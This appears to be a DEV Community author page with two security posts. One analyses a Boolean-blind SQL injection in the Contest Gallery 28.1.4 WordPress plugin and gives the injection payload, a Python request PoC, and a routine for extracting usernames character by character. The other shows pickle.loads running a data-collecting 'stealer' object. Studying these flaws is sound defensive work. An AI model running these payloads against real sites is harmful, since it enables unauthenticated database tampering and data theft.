From POC to Patch: Analyzing the Contest Gallery 28.1.4 Vulnerability

cardoso — Thu, 04 Jun 2026 21:41:12 +0000

The Contest Gallery WordPress plugin, version 28.1.4, contains a critical Boolean-Blind SQL Injection vulnerability in the admin-ajax.php endpoint. An unauthenticated attacker can exploit this flaw to manipulate SQL queries, invalidate user activation keys, and compromise database integrity.

Root Cause

The vulnerability resides in the function responsible for resending confirmation emails (post_cg1l_resend_unconfirmed_mail_frontend). The cgl_mail parameter is received via POST and handled as follows:

$ReceiverMail = sanitize_email($_POST['cgl_mail']); $wpdb->get_row("SELECT ... WHERE Field_Content = '$ReceiverMail'");

Why sanitize_email() is Insufficient

WordPress's sanitize_email() function validates email format according to RFC 5321, but does NOT escape SQL characters. Worse: the single quote_ (')_ is explicitly allowed in the local part of the email (before the @), enabling arbitrary SQL injection.

Bypass Example:

aaaaaaa'OR/**/1=1#@test.com

_-> survives sanitization_

/**/ -> MySQL comment replaces spaces


OR 1=1 -> always true condition_

# -> comments out the remainder of the query_

Exploitation Explanation (step by step)

The exploitation is Boolean-Blind, meaning the attacker cannot see returned data directly but infers information through differences in HTTP responses (status, body size, application behavior).

Vulnerable Endpoint

POST /wp-admin/admin-ajax.php

Request Parameters:

action: post_cg1l_resend_unconfirmed_mail_frontend,description: Routes to vulnerable function
cgl_mail: 'OR/**/1=1#@test.com - description : SQL injection vector
cgl_page_id: 1 - description Auxiliary parameter
cgl_activation_key: description (empty) Not needed for exploit
cg_nonce: valid nonce - description CSRF protection (collectable)

Functional Payload

aaaaaaa'OR/**/1=1#@test.com

Original vulnerable query:

SELECT * FROM wp_contest_gal1ery_create_user_entries 
WHERE Field_Content = 'INJECTION_HERE' 
LIMIT 1
Query after injection (TRUE):

SELECT * FROM wp_contest_gal1ery_create_user_entries 
WHERE Field_Content = 'aaaaaaa'OR/**/1=1#@test.com' 
LIMIT 1

WHERE Field_Content = 'aaaaaaa' OR 1=1 -- commented out the rest
Since 1=1 is always true, the query returns the first available record. The plugin then takes this result and generates a new activation_key, invalidating the original key of the affected user.

TRUE vs FALSE Distinction

TRUE :  'OR/**/1=1#@test.com    - Query returns records ---> new activation_key generated
FALSE : 'OR/**/1=2#@test.com    - Query returns empty ---> no plugin action

This behavioral difference enables boolean enumeration (extracting data one bit at a time).

Code Theory Explanation

The exploit implements a boolean-blind probe to detect the vulnerability and demonstrate its impact through behavioral differences between true and false conditions.

Code Structure

def send_payload(mail):
    data = {
        "action": "post_cg1l_resend_unconfirmed_mail_frontend",
        "cgl_mail": mail,
        "cgl_page_id": "1",
        "cgl_activation_key": "",
        "cg_nonce": NONCE,
    }
    return requests.post(URL, data=data)

Why This Structure Works:
Correct endpoint:admin-ajax.php is WordPress's universal AJAX handler

Specific action: post_cg1l_resend_unconfirmed_mail_frontend is registered without authentication (wp_ajax_nopriv_*)

cgl_mail parameter: injection vector that flows directly into the SQL query

Detection Logic

r_true = send_payload("aaaaaaa'OR/**/1=1#@test.com")

if r_true.status_code == 200:
    status_code = r_true.status_code

Boolean-Blind Inference Theory:

Status
'OR//1=1# TRUE Yes Yes 200
'OR//1=2# FALSE No No 200 (different body)

Important note: The current code only checks status 200. A complete exploit would compare body length (len(r_true.text)) or specific content.

The "Magic" Payload

payload = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"

Payload Anatomy:

'OR/**/1=1#@test.com
│  │    │ │
│  │    │ └── # → comments out the rest of the query (including '@test.com' and LIMIT 1)
│  │    └── 1=1 → always true condition
│  └── /**/ → MySQL comment (ignores spaces)
└── ' → closes the query's string literal

What the Code Proves (and what it doesn't yet do)

The vulnerability exists

The payload bypasses sanitize_email()

Status 200 is returned

The endpoint is accessible without authentication

Response comparison (TRUE vs FALSE)

Enumeration loop (character by character)

Extraction of emails, activation_keys, or password hashes

Example Evolution for Enumeration

def boolean_query(condition):
    payload = f"'OR/**/{condition}#@test.com"
    response = send_payload(payload)
    # If body size larger than baseline → TRUE
    return len(response.text) > baseline_length

# Usage: boolean_query("ASCII(SUBSTRING(user_login,1,1))>97")

Theoretical Conclusion

The script serves as a minimum Proof of Concept (PoC) that:

Confirms the existence of SQL injection

Demonstrates sanitize_email() bypass

Establishes the foundation for a complete boolean exploit

Documents the behavioral difference between TRUE and FALSE conditions

Pickle.loads() Executando Código Arbitrário

cardoso — Tue, 06 Jan 2026 23:04:56 +0000

O módulo pickle do Python fornece mecanismos para serialização binária de objetos, onde o "pickling" transforma estruturas de objetos em fluxos de bytes e o "unpickling" restaura essas estruturas a partir dos bytes (Python Software Foundation, 2024). No entanto, a própria documentação alerta sobre riscos de segurança significativos.

É aquela amizade boa mas tem detalhes que vai ferrar com você

Nooooossa, que módulo eficiente! Serializa tudo!

Você sabe que vai dar merda

Todo mundo avisa que vai dar merda

A documentação GRITA que vai dar merda

Mas... Ah, dessa vez vai ser diferente!

Foco nobres camaradas....

O pickle é usado por uma razão simples: vai executar o código automaticamente durante a desserialização isso nunca foi um bug é o design que se tornou uma vulnerabilidade.

Vamos ao código principal :

stealer = LocalDataCollector() malicious_pickle = pickle.dumps(stealer) # Serializa o objeto

2
result = pickle.loads(malicious_pickle) # DESSERIALIZAÇÃO = EXECUÇÃO

pickle.dumps(obj): Converte objeto Python para bytes

pickle.loads(bytes): Converte bytes para objeto Python EXECUTANDO CÓDIGO

E lógico um códi completo para testar.

Em cenários reais é criado um tipo de coletor de dados e enviado para algum local ou sequestro dos dados, botnet ou minerar bitcoin as possibilidade são muitas.

Esse é meu primeiro post.

código fonte completo: github.com/cardosource/
teste: ...cardosource/actions/

até mais...

DEV Community: cardoso

From POC to Patch: Analyzing the Contest Gallery 28.1.4 Vulnerability

Pickle.loads() Executando Código Arbitrário

E lógico um códi completo para testar.